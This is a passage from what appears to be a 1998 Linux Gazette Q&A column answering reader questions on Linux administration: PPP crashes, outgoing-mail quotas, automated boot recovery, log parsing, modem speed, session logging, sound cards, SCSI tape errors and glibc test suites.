<blockquote>As for ways to try to alleviate the problem:
</blockquote>
<ul>
<li>Change to a newer (2.1.x) kernel <EM>and</EM> a
new pppd (must do that to use PPP under the
new kernels anyway).
<li>Try a different X server. If you're currentlly
using XFree86, consider tying <a href="http://www.xig.com/">Xig</a> or <a href="http://www.metrolink.com/productindex.html">Metro-X</a>
(one of the commercial X suites for Linux).
</ul>
<blockquote>... I don't know of good ways to troubleshoot or isolate
this, off hand. Look in your syslog (<tt>/var/log/messages</tt>)
for "ooops" or similar messages from the kernel. Try
strace on the X server and the window managers, the pppd
(also run it under full debugging and kdegug). Try adding
<tt>ipfwadm</tt> (or <tt>ipchains</TT>) rules with the <tt>-o</tt> switch (to "output"
details of every packet to your syslogs). You could also
capture <tt>tcpdump</tt>'s from the <tt>ppp0</tt> interface during the whole
affair.
</blockquote>
<blockquote>It's probably something specific to your hardware --- since
you've changed your software completely. I'll be curious
if you can isolate the problem to a specific library
function or system call.
</blockquote>
<!-- end body -->
<A NAME="tag/quota.html"><hr width="75%" align="center"></a>
<H3><img src="../../gx/dennis/qbub.gif" alt="(?)"
width="50" height="28" align="left" border="0"
>Quotas for Outgoing e-mail</H3>
<p><strong>From tng on 14 Sep 1998 </strong></p>
<!-- begin body -->
<p><strong>I've been searching for 3 days on setting up some kind of e-mail quota
to restrict the abount of e-mail that can be sent by aparticular
person. I been to
<a href="http://altavista.digital.com/">altavista</a>
did a search that turned up 1700 maches
none of which were of any help. I went to
<a href="http://www.sendmail.org/">sendmail.org</a> and browsed
their their online documentation, gone through news group archives to
find myself still wondering if there is software available to do it. I
found lots of info about setting up bulk e-mailers and stopping
incomming spam but nothing for stopping my local users from bulk
e-mailing and spamming others. I would be greatful for any help on this
matter.
</strong></p>
<p><strong>thanks in advance...
tng
</strong></p>
<blockquote><IMG SRC="../../gx/dennis/bbub.gif" ALT="(!)" height="28" width="50" align="bottom">Well, that's a new one. I don't know of any package
that does this.
</blockquote>
<blockquote>I'm sure it can be done --- you could define a
custom mailer (one of those funny looking Mprog lines
in a <tt>sendmail.cf</tt> file). Let's call this the quota mailer
--- you'd then define that as the mailer to over-ride the
built-in smtp mailer. You're quota mailer could then
be reponsible for counting messages, addresses, bytes,
etc and updating a database of authorized users and relayers
--- and then relaying the mail into a queue where a
different sendmail (using a different configuration) would
send it out (probably as a regular '<TT>cron</TT>' job).
</blockquote>
<blockquote>The quickest way to get such a beast built might be to
hire a consultant like Robert Harker (he specializes in
'<tt>sendmail</tt>' and teaches tutorials in it <A HREF="http://www.harker.com">http://www.harker.com</A>).
</blockquote>
<blockquote>For <tt>qmail</tt> or <tt>VMailer</tt> there might be an easier way.
</blockquote>
<blockquote>Another problem you'll have with this is that you'd have
to prevent people from bypassing all of your mail user
agents and sending their mail using some custom program that
they've installed themselves. This could work by simply
opening a TCP connection to the smtp port (25) of their
addressee's sites (or any open relayer) directly. You'd
have to put packet filters on all of your egress routes
(firewalls and border routers) to prevent this, thus forcing
your customers/user to use your outbound relay.
</blockquote>
<blockquote>There are several commercial products that do filtering of
outbound mail (MIMESweeper, WebShield, that sort of thing).
They purport to protect companies from insiders who might
be mailing company secrets out to their competitors.
In general I think this is a pathetic approach to the risk
(they can easily shove the data on a diskette, Zip disk
or whatever, and mail it; or they can encrypt it --- using
pkzip with it's "scramble" encryption and mail that as a
"bitmap" --- or they can use freely available tools to do
some serious steganography).
</blockquote>
<blockquote>However, these "mail firewalls" may be adaptable to your
needs. Also, there may be some free one floating around
that I haven't heard of.
</blockquote>
<blockquote>The best place to ask for more info on this is in the
<a href="news:comp.mail.sendmail">comp.mail.sendmail</a>
newsgroup (I don't know of a general
mail transfer agents newsgroup -- so <tt>c.m.sendmail</tt> seems
to get all of that traffic. I expect there'll be a
<tt>comp.mail.qmail</tt> and a <tt>comp.mail.vmailer</tt>
eventually).
</blockquote>
<blockquote>I suppose you could also ask in
<a href="news:comp.security.firewalls">comp.security.firewalls</a>
--- and you could dig up the mailing lists for qmail,
VMailer and the firewalls mailing list (which recently
moved off of Brent's site at Great Circle Associates and
is hosted by some friends of his at GNAC) --- you'll
have to spend some quality Yahoo!/Deja News/Alta Vista
time hunting down those venues.
</blockquote>
<!-- end body -->
<A NAME="tag/recovery.html"><hr width="75%" align="center"></a>
<H3><img src="../../gx/dennis/qbub.gif" alt="(?)"
width="50" height="28" align="left" border="0"
>Automated Recovery from System Failures</H3>
<p><strong>From <em>anonymous</em> on the
<a href="http://www.ch4549.org/lust/">L.U.S.T List</a>
on 2 Sep 1998 </strong></p>
<!-- begin body -->
<p><strong>And there will be no human to manually
check on the partitions after a power failure.
</strong></p>
<p><strong>What's wrong with e2sck? TTYL!
</strong></p>
<blockquote><IMG SRC="../../gx/dennis/bbub.gif" ALT="(!)" height="28" width="50" align="bottom">I was thinking about this recently and I came upon an intereseting
idea. (I think a friend of mine used the following trick in a
commercial product he built around Linux).
</blockquote>
<blockquote>The trick is to install two root filesystems (preferably on different
drives -- possibly even on different controllers). One of them is the
"Rescue Root" the other is the "Production Root." You then configure
the "rescue root" partition as the default LILO device and modify the
shutdown sequence to over-ride that default with an <tt>/sbin/lilo -R</tt>
command.
</blockquote>
<blockquote>If the system boots from the rescue root it is because the system
was booted irregularly. The standard shutdown sequence was not
run. That rescue root can then do various diagnostics on the
product root and other filesystems. If necessary it can <tt>newfs</tt> and
restore the full production environment (from another, normally unused,
directory partition or drive). The design of the rescue root is a
matter for some consideration and research.
</blockquote>
<blockquote>Normally the system will boot into "production" mode. Periodically
it can mount the alternative root fs to do filesystem checks and/or
an <em>extra</em> filesystem to do backups (of changes to the configuration
files). You can ensure that these configuration backups are done
under a version control system so that degenerative sets of changes
can be automatically backed out in an orderly fashion.
</blockquote>
<blockquote>If you combine this with a watchdog timer card and a set of appropriate
system monitoring daemons (which all talk to a dispatch that periodically
resets the watchdog timer), you should have a system that has about the
most bulletproof autorecovery as is possible on PC equipment.
</blockquote>
<blockquote>I should note that I haven't prototyped such a system yet. I've
just thought of it. A friend of mine also suggested that we devise
a way to have another proximate system also doing monitoring
(possibly via a null modem). He says he knows how to make a special
cable which would plug into the guard dog's printer/parallel port
(guard dog is what I've been calling the hypothetical proximal
system) and would be run into the case of the system we're monitoring
where it would be fit over the reset pins. This, with a small driver
should be able to strobe the reset line.
</blockquote>
<blockquote>(In fact I joked that we could create a really special cable that would
daisy chain to as many as eight other systems and allow independent
reboot of any of them).
</blockquote>
<blockquote>In any event the monitor system would presumably monitor some/most
of the same things as the watchdog timer; so I don't know what
benefit it would ultimately offer (unless it was prepared to
do or initiate failover to another standby system).
</blockquote>
<blockquote>Perhaps this idea might be of interest to the maintainer of the
<a href="http://sunsite.unc.edu/pub/Linux/ALPHA/linux-ha/High-Availability-HOWTO.html">High-Availability HOWTO</a> (Harald Milz -- whom I've blind copied
on this message). It's not really "High Availability" but
"Automated Recovery" which might be sufficiently close for many
applications. (i.e. if a web, mail, dns, or ftp server's downtime
can be reduced from "mean hours per incident" to "mean minutes per
incident" most sysadmins still get lots of points).
</blockquote>
<!-- end body -->
<hr width="40%" align="center">
<H3><img src="../../gx/dennis/qbub.gif" alt="(?)"
width="50" height="28" align="left" border="0"
>Automated Recovery from System Failures</H3><H4 align="center"></H4>
<p><strong>From R P Herrold on 04 Sep 1998 </strong></p>
<!-- begin body -->
<p><strong><IMG SRC="../../gx/dennis/bbub.gif" ALT="(!)" height="28" width="50" align="bottom">We build custom Linux solution boxen. In our Build outline, we
take this concept a step further in setting up a redhat system --
we carry a spare <tt>/boot</tt> partition:
</strong></p>
<pre>
(extract)
(base 5.0 install)
Part name size Cyl cume actual min
==== ========== ==== ==== ==== ==========
1 /boot 20 ___ 20
2 root 30 ___ 50 23
(/bin ___ M)
(/lib ___ M) modules
(/root ___ M)
(/sbin ___ M)
3 swap 30 ___ 80
4 (extended)
5 /mnt/spare 30 ___ 110 1
</pre>
<p><strong>... The minima in a '<em>stripped down</em>' <tt>/</tt> [root] partition vary
depending on where
<tt>/lib</tt>, <tt>/var</tt>, and <tt>/usr</tt> end up -- of late, a lot of distributions'
packages feel a need to live in <tt>/bin</tt> or <tt>/sbin</tt> unnecessarily -- and
probably <em>should</em> be in the <tt>/usr</tt> tree ... Likewise, if a package
is NOT statically linked, one can end up with problems, if a
partition randomly decides to 'go south.'
</strong></p>
<blockquote><IMG SRC="../../gx/dennis/bbub.gif" ALT="(!)"
height="28" width="50" align="bottom"
>I was thinking about this recently and I came upon an intereseting
idea. (I think a friend of mine used the following trick in a
commercial product he built around Linux).
</blockquote>
<p><strong><IMG SRC="../../gx/dennis/bbub.gif" ALT="(!)" height="28" width="50" align="bottom">... We use the '<em>trick</em>' as well
</strong></p>
<blockquote><IMG SRC="../../gx/dennis/bbub.gif" ALT="(!)"
height="28" width="50" align="bottom"
>The trick is to install two root filesystems (preferably on different
drives -- possibly even on different controllers). One of them is the
"Rescue Root" the other is the "Production Root." You then configure
the "rescue root" partition as the default LILO device and modify the
shutdown sequence to over-ride that default with an <tt>/sbin/lilo -R</tt>
command.
</blockquote>
<p><strong><IMG SRC="../../gx/dennis/bbub.gif" ALT="(!)" height="28" width="50" align="bottom">... carrying the full [root] partition
</strong></p>
<blockquote><IMG SRC="../../gx/dennis/bbub.gif" ALT="(!)"
height="28" width="50" align="bottom"
>I should note that I haven't prototyped such a system yet. I've
just thought of it. A friend of mine also suggested that we devise
</blockquote>
<p><strong><IMG SRC="../../gx/dennis/bbub.gif" ALT="(!)" height="28" width="50" align="bottom">... It works, and can avoid the need to keep a live floppy drive
in a host which would otherwise require one for emergency purposes
... aiding in avoiding physical security issues
</strong></p>
<p><em>[ normally I remove sig blocks, but since he copyrighted
his... I guess I'll leave it in. Curious one should
post a copyright into open mailing lists, though.
-- Heather ]</em></p>
<p><strong>.-- -... ---.. ... -.- -.--
<br>Copyright (C) 1998 R P Herrold
<br><A HREF="mailto:herrold@usa.net">herrold@usa.net</A> NIC: RPH5 (US)
<br>My words are not deathless prose,
<br>but they are mine.
<br>Owl River Company 614 - 221 - 0695
<br>"The World is Open to Linux (tm)"
<br>... Open Source LINUX solutions ...
<br><A HREF="mailto:info@owlriver.com">info@owlriver.com</A>
</strong></p>
<!-- end body -->
<A NAME="tag/script.html"><hr width="75%" align="center"></a>
<H3><img src="../../gx/dennis/qbub.gif" alt="(?)"width="50" height="28"
align="left" border="0">Re Script </H3>
<p><strong>From Joe Wronkowski on 23 Oct 1998 </strong></p>
<!-- begin body -->
<p><strong>Hi Jim,
<br>I was just wondering if there was an easy way to grab the
time/date Oct 6 21:57:33 from the same line the
<tt>153.37.55.**</tt> was taken from.
If you are busy I understand.
</strong></p>
<p><strong>Thanks
<br>Joe Wronkowski
</strong></p>
<blockquote><IMG SRC="../../gx/dennis/bbub.gif" ALT="(!)" height="28" width="50" align="bottom">The following <tt>awk</tt> expression will
isolate the date and time from these example lines:
</blockquote>
<blockquote><blockquote><code>date="$1 $2"
<br>time="$3"
</code></blockquote></blockquote>
<p><strong><IMG SRC="../../gx/dennis/qbub.gif" ALT="(?)" height="28" width="50" align=""bottom">sample of log file:</strong><p>
<pre>
Oct 6 21:50:19 rogueserver in.telnetd[197]: connect from 208.224.174.21
Oct 6 21:50:24 rogueserver telnetd[197]: ttloop: peer died: Success
Oct 6 21:55:29 rogueserver in.telnetd[211]: connect from 208.224.174.21
Oct 6 21:55:35 rogueserver telnetd[211]: ttloop: peer died: Success
Oct 6 21:57:33 rogueserver in.pop3d[215]: connect from 153.37.55.65
Oct 6 21:57:34 rogueserver in.pop3d[215]: Servicing request for rogue
</pre>
<!-- end body -->
<A NAME="tag/serial.html"><hr width="75%" align="center"></a>
<p>The original message in this thread appeared in
<a href="http://www.ssc.com/lg/issue31/tag_connect.html"
>Issue 31</a>, and the
<a href="news:comp.unix.questions"
>comp.unix.questions</a> newsgroup.
This volley resulted:</p>
<hr width="40%" align="center">
<p><strong>From Michael Schwab on 30 Sep 1998</strong></p>
<p><strong>Hello,
I just read the article about
</strong></p>
<p><strong>So please don't say "WHO CARES ABOUT THAT?"
</strong></p>
<blockquote><IMG SRC="../../gx/dennis/bbub.gif" ALT="(!)" height="28" width="50" align="bottom">I'll say what I bloody well feel like saying!
</blockquote>
<blockquote>(And I expect my editors, and readership to
respond as they see fit).
</blockquote>
<blockquote>I'm sorry if that seems like a harsh thing to say
but frankly I think you missed the whole point of what
I was trying to say before.
</blockquote>
<blockquote>First, I don't know of a general way to get the
connect speed. It's probably modem specific, so you
could probably write a script that queries your modem
to get the info. Your script would probably not work
with most other modems, and you'd have to hack it into
whatever communications package you were actually using
on that modem (pppd, uucico, minicom, kermit, slip,
whatever).
</blockquote>
<blockquote>Another point I made is that the speed is likely to
fluctuate frequently throughout the duration of a
connection (particularly with any 28.8 or faster modem).
It's likely to start out a bit high and be adjusted
downward until the corrected error rate attains an
suitable threshold.
</blockquote>
<blockquote>So, if you had your script reporting a connection
speed at one instant --- it would tell you almost nothing
about your sustained throughput.
</blockquote>
<p><strong><IMG SRC="../../gx/dennis/qbub.gif" ALT="(?)" height="28" width="50" align=""bottom">I do !!
</strong></p>
<blockquote><IMG SRC="../../gx/dennis/bbub.gif" ALT="(!)" height="28" width="50" align="bottom">More power to you. I didn't ask <EM>who</EM> cares? I asked
what benefit those who "think" they care hope to derive
from this statistic.
</blockquote>
<blockquote>I can test the temperature in my house to with an arbitrary
precision. However, the numbers on a thermometer will not
motivate me to reset my thermostat or go out and buy a
new furnace or air conditioner. It's a meaningless
statistic that is no benefit to me.
</blockquote>
<blockquote>Also there isn't just one temperature in my home -- there's
a whole range of fluctuating temperatures. So precise
measurement would be non-trivial.
</blockquote>
<blockquote>For subjective issue there's no point in going to
great measurement effort. When I'm cold I either turn
up the thermostat, or (more likely) toss on a sweater or
some little fuzzy booties.
</blockquote>
<blockquote>Now, it is the case that I might do some measurements
when I'm troubleshooting a line. I'd certainly expect a
telco technician to do so if I was complaining about
line quality --- and I might do so to "motivate" a telco
(or to file my complaint with a public utility commission).
</blockquote>
<blockquote>If course if I was <EM>really</EM> serious about a line quality
issue I'd rent an oscilloscope and look through a Fluke (TM)
catalog to find a chart-strip recorder for the job.
</blockquote>
<blockquote>So these numbers aren't completely useless in all
contexts. However, the number of people who can make
reasonable use of them is fairly limited.
</blockquote>
<p><strong><IMG SRC="../../gx/dennis/qbub.gif" ALT="(?)" height="28" width="50" align=""bottom">How can you tell the connection speed that a modem auto-negotiates
when dialing an ISP? My system log (/var/log/messages in RH5.1)
does tell me the line speed I have set in the chat script, but I
would like to know the connect speed as well (56K, 33.6, etc). I
know this info must be available somewhere/somehow.
</strong></p>
<blockquote><IMG SRC="../../gx/dennis/bbub.gif" ALT="(!)" height="28" width="50" align="bottom">Modern modems don't just auto-negotiate at the beginning of
a call. The "retrain" (negotiate speed changes) throughout
a call's duration.
</blockquote>
<blockquote>You'd "like" to know. Put what would you do with this?
Order you phone company to pull new copper to your house?
Return your modem and try another one? Switch to tachyon
beams?
</blockquote>
<blockquote>As for "this info must be available" --- look in the
programming manual for your modem, <EM>if</EM> you can find one.
It used to be standard for modems to come with a pretty
decent technical manual --- providing details on a couple
hundred AT commands that comprised that manufacturer's
extensions beyond the based "Hayes" set for that particular
model. These days you'll be lucky if you pry a dinky little
summary of a tiny subset of their diagnostics and commands
out of most of these manufacturers.
</blockquote>
<p><strong><IMG SRC="../../gx/dennis/qbub.gif" ALT="(?)" height="28" width="50" align=""bottom">I don't know how to really get the connect speed but that might be
not so important. Since I have a leased line to the Internet with
a modem it is important for me to know how fast my line is running
because sometimes this Line might have a lot of noise on it and
the connect might be only 4800 bps instead of 33600 bps. In this
case I have to call my Telecommunications provider to check the
line !!!
</strong></p>
<blockquote><IMG SRC="../../gx/dennis/bbub.gif" ALT="(!)" height="28" width="50" align="bottom">If your connection varies by this much you'll know it.
You won't need any numbers to tell you that it's *slow*.
</blockquote>
<blockquote>If you are trying to serve your customers (web site
users, whatever) over this line --- it does make sense
to monitor the bandwidth and latency. However these
are higher level networking issues that are only
marginally related to the underlying connection speed.
</blockquote>
<p><strong><IMG SRC="../../gx/dennis/qbub.gif" ALT="(?)" height="28" width="50" align=""bottom">But its easy to detect just send a ping to the other side when the
line has low traffic. I do this by sending approx 20 pings and
then look at the (lowest) roundtrip time. You can send a ping
containing 8192 or 16384 bytes of data and you will detect nearly
every change in bandwith.
</strong></p>
<blockquote><IMG SRC="../../gx/dennis/bbub.gif" ALT="(!)" height="28" width="50" align="bottom">Aha! Now this is a totally different metric. You aren't
measuring "modem connection speed" you're measuring
latency and throughput! Doing this once every two or
three hours with about 5 pings and setting "watcher" to
monitor those and warn you when the latency get's too
high or the throughput gets too low would make sense
--- for a dedicated line where you are concerned that
you customers/users are waiting "too long" for their
traffic.
</blockquote>
<blockquote>There is a package called MRTG --- the "multi-router
traffic grapher" which can be used to create web page
graphs of your network traffic statistics over
time. It seems to be primarily used by larger sites
for ethernet. However it might have some facilities for
monitoring PPP (even SLIP) lines.
</blockquote>
<blockquote>Actually MRTG depends on SNMP so I should say that
you might figure out how to configure the CMU SNMP
agents for Linux to interface to your serial interfaces
--- and then MRTG could provide the graphs. However,
you don't technically <EM>need</EM> to run SNMP under MRTG
--- their docs suggest that you can use various
commands to provide it statistics to graph.
</blockquote>
<blockquote>You can read more about MRTG at:
</blockquote>
<blockquote><A HREF="http://ee-staff.ethz.ch/~oetiker/webtools/mrtg/mrtg.html">http://ee-staff.ethz.ch/~oetiker/webtools/mrtg/mrtg.html</A>
</blockquote>
<p><strong><IMG SRC="../../gx/dennis/qbub.gif" ALT="(?)" height="28" width="50" align=""bottom">Best Regards
Michael Schwab
</strong></p>
<!-- end body -->
<hr width="40%" align="center">
<H3><img src="../../gx/dennis/qbub.gif" alt="(?)"width="50" height="28"
align="left" border="0">RE how to find out the serial connect speed of a modem </H3>
<p><strong>From Michael Schwab on 30 Sep 1998</strong></p>
<!-- begin body -->
<p><strong>OK the Intention of the Mail send by me was mainly to give a short help
on what might be a suitable answer on the quistion posed in Linux Gazette.
Despite of this THANKS FOR YOUR VERY LONG MAIL, now it's much clearer what
you were saying and why. I agree with you when you say the connect speed
is unimportant because it changes anyway during the connectiontime.
Sinec the guy who send the question to you said that he connects to his ISP
so I suggested that might monitoring bandwith ans latency also might be
more meaningfull for him than just getting the connect speed !
</strong></p>
<p><strong>Anyway thanks for your Answer .....
</strong></p>
<p><strong>see you soon <IMG SRC="../../gx/dennis/smily.gif" ALT="" height="24" width="20" align="middle">
</strong></p>
<p><strong>Michael Schwab
</strong></p>
<A NAME="tag/session.html"><hr width="75%" align="center"></a>
<H3><img src="../../gx/dennis/qbub.gif" alt="(?)"
width="50" height="28" align="left" border="0"
>Telnet/xterm: Log to file</H3>
<p><strong>From Jason Joyce on 07 Oct 1998 </strong></p>
<!-- begin body -->
<p><strong>How can you log a telnet session using it from an xterm in Linux? I
need to create a log of my actions during a telnet session, and I know
that you can do it using telnet under Microsoft. And I know that if
those guys have it, then they must have copied it from somewhere, and so
I believe that it is possible using Linux, but I can't find any way.
</strong></p>
<p><strong>Thanks for any help,
Jason
</strong></p>
<blockquote><IMG SRC="../../gx/dennis/bbub.gif" ALT="(!)" height="28" width="50" align="bottom">You can run the '<TT>script</TT>' command (which creates a
"transcript" named "typescript" by default.
</blockquote>
<blockquote>You can also run the '<TT>screen</TT>' utility, which, among
many other features, allows you to take open multiple
screen sessions through one virtual console, telnet,
xterm, or even dial-up VT100 sessions and dumb
terminals. Think of having all the power of your
virtual consoles from any sort of terminal/shell
session. You can do screen snapshots, open and close
log files, view a backscroll buffer (with '<TT>vi</TT>' like
search features), mark and paste text (keyboard driven),
do a screen lock, and even detach the whole screen
session from your current terminal, xterm or whatever
(and re-attach to it from any login, from that or any
other terminal, later).
</blockquote>
<blockquote>I routinely run '<TT>screen</TT>' for all my sessions. When I
log into one of my ISP shell accounts I prefer to
run '<TT>screen</TT>' at the far end because it will auto-detach
if my modem disconnects me. So, I can redial, re-attach
and resume my work. I can also dial into my home
system, do a '<tt>kill -HUP</tt>' on my screen process (actually
a '<tt>screen -d -R</tt>' will auto located, HUP, and re-attach
all at once) and continue working on all ten of the
interactive programs that I had running at the time.
</blockquote>
<blockquote>There are other ways you can do this. There was a
sample script in '<TT>expect</TT>' that did this in about 10
lines of TCL/expect code.
</blockquote>
<blockquote>You can also use Kermit (<a href="http://www.columbia.edu/kermit/">ckermit</a>, from Columbia
University). This is a communications package,
file transfer package and network client. I wrote
an article for <a href="http://www.samag.com/">SysAdmin Magazine</a> about a year ago
to describe its use as a telent/rlogin client.
</blockquote>
<blockquote>In addition to be fully scriptable and supporting
the same file transfers over TCP/IP as it does over
any serial connection; it's also possible to do
logging and exentisive debugging using Kermit.
</blockquote>
<blockquote>The next version (currently still in beta?) should
support Kerberos authentication <EM>and</EM> encryption
(one of several enhancements that I beat up on Frank
de la Cruz --- it's principal author and co-ordinator
--- about while researching my article).
</blockquote>
<blockquote>So, there's about four options off the top of my head.
</blockquote>
<!-- end body -->
<A NAME="tag/sound.html"><hr width="75%" align="center"></a>
<H3><img src="../../gx/dennis/qbub.gif" alt="(?)"
width="50" height="28" align="left" border="0"
>Finding Soundcard Support</H3>
<p><strong>From Nathan Balakrishnan on 23 Oct 1998 </strong></p>
<!-- begin body -->
<p><strong>Hello,
</strong></p>
<p><strong>Do you know wheather YAHAMA OPL3-SAx WDM soundcard is directly
supported by Redhat 5.0 and how would I go about setting it up under Linux
if it isn't?
</strong></p>
<p><strong>NATHAN
</strong></p>
<blockquote><IMG SRC="../../gx/dennis/bbub.gif" ALT="(!)" height="28" width="50" align="bottom">The best source of information on this subject is
probably the "The Linux Sound HOWTO"
(<A HREF="http://www.ssc.com/linux/LDP/HOWTO/Sound-HOWTO.html">http://www.ssc.com/linux/LDP/HOWTO/Sound-HOWTO.html</A>)
by Jeff Tranter <<A HREF="mailto:tranter@pobox.com">tranter@pobox.com</A>>.
</blockquote>
<blockquote>I think most of the kernel sound support was originally
donated by Hannu Savolainen <<A HREF="mailto:hannu@voxware.pp.fi">hannu@voxware.pp.fi</A>> of
4 Front Technology (<A HREF="http://www.4Front-Tech.com/oss.html">http://www.4Front-Tech.com/oss.html</A>)
which also sells their "Open Sound System" package (for
about $20 US (presumably)).
</blockquote>
<blockquote>The version that's included with Linux is known as OSS/Free
while OSS/Linux is 4 Front's commercial version. They also
support sound drivers on numerous other versions of Unix.
</blockquote>
<blockquote>I guess there is an independent "Linux Ultra Sound Project"
(<A HREF="http://home.pf.jcu.cz/~perex/ultra">http://home.pf.jcu.cz/~perex/ultra</A>) which a list of
or "Advanced Linux Sound Architecture" which includes your
model on their list of supported cards
(<A HREF="http://alsa.jcu.cz/src/soundcards.html">http://alsa.jcu.cz/src/soundcards.html</A>).
</blockquote>
<blockquote>So, try reading those and see if that helps. I personally
have almost never used any sound cards. My computers make
enough noise with all those fans and disk drives.
</blockquote>
<!-- end body -->
<A NAME="tag/tape.html"><hr width="75%" align="center"></a>
<H3><img src="../../gx/dennis/qbub.gif" alt="(?)"
width="50" height="28" align="left" border="0"
>Problems with a SCSI Tape Drive</H3>
<p><strong>From Ralf Schiemann on 23 Oct 1998 </strong></p>
<!-- begin body -->
<p><strong>Hi,
I've a problem with backing up our file server (Linux 2.0.33). Attached
to the server is a HP C1557A SCSI TapeLoader (6 x 24 GB). Actions on the
loader are done without any problems (e.g. loading and unloading of
tapes).
</strong></p>
<p><strong>But if I try to do a backup via tar (<tt>tar cvf /dev/st0 /tmp</tt>) the tape
display is telling me "Write" and after a short while "Tape Position
lost". In <tt>/var/log/messages</tt> I find the following errors:
</strong></p>
<pre>kernel: st0: Error with sense data: extra data not valid
Deferred error st09:00: sense key Medium Error
kernel: Additional sense indicates Sequential positioning error
kernel: st0: Error on write filemark.
</pre>
<p><strong>Can you tell me whats going wrong??
Any help is welcome,
<br>Ralf
</strong></p>
<blockquote><IMG SRC="../../gx/dennis/bbub.gif" ALT="(!)" height="28" width="50" align="bottom">I would look at SCSI termination and cabling problems.
It sounds like commands are getting through the interface
just fine, and streams of data are causing the problem.
</blockquote>
<blockquote>You don't say what kernel version nor which SCSI adapter and
drivers you're using. If this is a modular kernel, try
compiling the appropriate SCSI driver directly into it
(to eliminate any chance of anomalies with automatic loading
and removal of the SCSI drivers by kerneld, etc).
</blockquote>
<blockquote>Try compiling a very minimal kernel with just the
drivers you need to do your backup. You want to see if
there's some strange conflict between your drivers.
</blockquote>
<blockquote>Finally you might try testing this with a different
SCSI adapter, with no other peripherals on it and the
best cable you can buy. Is this an internal or external
unit? I'm guessing external since DAT autochangers are
pretty big for internal drive bays).
</blockquote>
<blockquote>If you can afford it, it's best to put your SCSI tape
drive on a separate SCSI card (a fairly cheap $60
ISA card is fine). This allows you to put the
tape drive off that system without having to reboot,
and it maximizes performance on the other bus.
</blockquote>
<!-- end body -->
<A NAME="tag/testsuite.html"><hr width="75%" align="center"></a>
<H3><img src="../../gx/dennis/qbub.gif" alt="(?)"
width="50" height="28" align="left" border="0"
>Test Suites for GNU and other Open Source (TM) Software</H3>
<p><strong>From Steve Snyder on 20 Sep 1998 </strong></p>
<!-- begin body -->
<p><strong>Is there a validation test suite for glibc v2.0.x? I mean a more
comprehensive set of tests than are run by "<tt>make check</tt>" after
building the runtime libraries.
</strong></p>
<blockquote><IMG SRC="../../gx/dennis/bbub.gif" ALT="(!)" height="28" width="50" align="bottom">Not that I know of. I guess the conventional wisdom
is that if I install glibc, and a bunch of sources and
I compile the sources against the libc and run all of them
--- that failures will somehow be "obvious."
</blockquote>
<blockquote>Personally I think that this is stupid. Obviously it mostly
works for most of us most of the time. However, it would be
nice to have full test and regression suites that exercise a
large range of functions for each package --- and to
include these (and the input and reference data sets) in the
sources.
</blockquote>
<blockquote>It would also be nice if every one of them included a
"fuzz" script (calling the program with random combinations
of available options, switches and inputs --- particularly
with a list of the available options). This could test
the programs for robustness in the face of errors and
might even find some buffer overflows other bugs.
</blockquote>
<blockquote>However, I'm not a programmer. I used to do some quality
assurance --- and that whole segment of the market seems
to be in a sad state. I learned (when I studied
programming) that the documentation and the test suite
should be developed as part of the project. User and
programmer documentation should lead the coding (with
QA cycles and user reviews of the <EM>proposed</EM> user
interfaces, command sets, etc, prior to coding.
</blockquote>
<blockquote>The "whitebox" test suites should be developed incrementally
as parts of the code are delivered (if I write a function
that will be used in the project, some QA whiteboxer should
write a small specialized program that calls this function
with a range of valid and invalid inputs and tests the
function's behaviour against a suite that just applies to
it).
</blockquote>
<blockquote>Recently I decided that <tt>md5sum</tt> really needs an option
to read filenames from stdin. I want do write some
scripts that essentially do:
</blockquote>
<blockquote><blockquote>
<code>'find .... -print0 | md5sum -0f '
</code></blockquote></blockquote>
<blockquote>... kind of like '<TT>cpio</TT>' Actually I really want to do:
</blockquote>
<blockquote><blockquote>
<code>'rpm -qal | regular.files | md5sum -f'
</code></blockquote></blockquote>
<blockquote>... to generate some relatively large checksum files
for later use with the '<tt>-c</tt>' option. This '<TT>rpm</TT>' command
will "Query All packages for a List of all files. The
<tt>regular.files</tt> filter is just a short shell script that
does:
</blockquote>
<pre>#!/bin/sh
## This uses the test command to filter out filenames that
## refer to anything other than regular files (directories,
## Unix domain sockets, device nodes, FIFO/named pipes, etc)
while read i ; do
[ -f "$i" ] && echo "$i"
done
</pre>
<blockquote>So I grabbed the textutils sources, created a few
sets of md5sum files from my local files (using
'<tt>xargs</tt>'). Those are my test data sets.
</blockquote>
<blockquote>Then I got into <tt>md5sum.c</tt>, added the command options,
cut and pasted some parts of the existing functions
into a new function, and what able to get it cleanly
compiling in a couple hours. I said I'm not a programmer
didn't I. I think a decent programmer could have done
this in about an hour.
</blockquote>
<blockquote>Then I ran several tests. I ran the "<tt>make check</tt>" tests,
and used the new version's <tt>-c</tt> to check my test sets.
I then used same script that generated those to generate
a new set using the new version/binary. I then compared
those (using '<TT>cmp</TT>' and '<tt>diff</tt>') and checked them with
the old version. Then I generated new ones (with the
new switch I'd added, and again with the old version)
and cross check them again.
</blockquote>
<blockquote>This new version allows you to to use stdin or pass
a filename which contains a list of files to checksum
--- it uses the <tt>--filelist</tt> long argument as well as
the <tt>-f</tt> short form; and you can use <tt>-f -</tt> or just
<tt>-f</tt> to
use stdin. I didn't implement the <tt>-0</tt> (<tt>--null</tt>)
option
--- but I did put in the placeholders in the code where
it could be done.
</blockquote>
<blockquote>The point here is that I had a test suite that was longer
than the code. I also spent more time testing and
documenting (writing a note to Ulrich Drepper, the
original author of this package to offer the patches to
him) than I did on coding.
</blockquote>
<p><strong><IMG SRC="../../gx/dennis/qbub.gif" ALT="(?)" height="28" width="50" align=""bottom">Though a benchmarking component would be nice, my main concern is
to verify that all (or at least the vast majority) of the library
function work correctly. What I want to know is, given a specific
compiler and a specific version of glibc source files, how can I
verify that the libraries built are reliable?
</strong></p>
<blockquote><IMG SRC="../../gx/dennis/bbub.gif" ALT="(!)" height="28" width="50" align="bottom">By testing them. Unfortunately, that may mean that
you'll have to write your own test suites. You may
have to start a GNU/new project to create test suites.
</blockquote>
<blockquote>It is likely that most of the developers and maintainers
of these packages have test suites that they run before
they post their new versions. It would be nice if they
posted the test suites <em>as part of the source package</em>
--- and opened the testing part of the project to the
open development model.
</blockquote>
<blockquote>In addition these test suites and harnesses (the scripts
to create isolated and sample directory structures, etc)
to run a program (or library) through its paces) would
serve as a great addition to the documentation.
</blockquote>
<blockquote>I find '<TT>man</TT>' pages to be incredibly dense. They are
find if you know enough about the package that you are
just looking for a specific feature, that you think
<em>might</em> be there, or one that you <EM>know</EM> is in there
somewhere --- but you don't remember the switch or the
syntax. However, a test harness, script, and set of
associated inputs, outputs, and configurations files would
give plenty of examples of how the bloody thing is
<em>supposed</em> to work. I often have to hunt for examples
